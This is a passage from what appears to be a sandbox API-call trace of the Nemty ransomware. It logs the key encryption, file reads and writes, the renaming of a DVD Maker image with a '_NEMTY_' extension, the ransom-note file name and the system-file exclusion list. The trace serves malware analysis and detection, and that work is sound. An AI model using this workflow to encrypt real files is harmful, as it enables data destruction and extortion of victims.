dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0066.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0066.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0066.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0066.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0066.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0066.505] Sleep (dwMilliseconds=0x5) [0066.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb4b2bb0, dwHighDateTime=0x1d561e7)) [0066.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb4b2bb0, dwHighDateTime=0x1d561e7)) [0066.516] GetLastError () returned 0x5 [0066.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.516] GetLastError () returned 0x5 [0066.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0066.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0066.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0066.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0066.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="UC5eYa5Vmoa132mHZO8tfgCILSeWuQddH+gwNPpWbyUNoUjAwlVyPdqCWc+Mp0dw\r\nQwsdgzimUdQhB2KeNk0NDCQ7dxH4vWsCSxraTZPBcLayr4qysDdpWiwncITalC1p\r\naqhTGdqfnEd67KuHwGhu+0IhQ7vcbMzyNSLz96GLeqsAUjf+dA1b39CmXjk6RVoz\r\nfobu0c91xplpX/9OlTPN+3Jkvhp1LlLaChBWtMBxL2SzbiKJxGUCVEdInUtpcSCB\r\nCSK2bned9TVgFV0bn0vsHnpj7Bqm1p7l8Ohel/Q4YL5vRtJeaAiZQtuSYtRDVO+f\r\nKT/UoAYPISAcgG4JP0xyMQ==\r\n", pcchString=0x653e91c) returned 1 [0066.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0066.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0066.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0066.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0066.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0066.517] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.518] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0066.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0066.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.626] CloseHandle (hObject=0xffffffff) returned 0 [0066.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0066.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0066.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.627] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0066.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.627] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9d6750, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xda9d6750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xda9d6750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0066.627] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0066.628] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0066.628] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0066.628] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0066.628] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0066.628] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0066.628] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0066.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 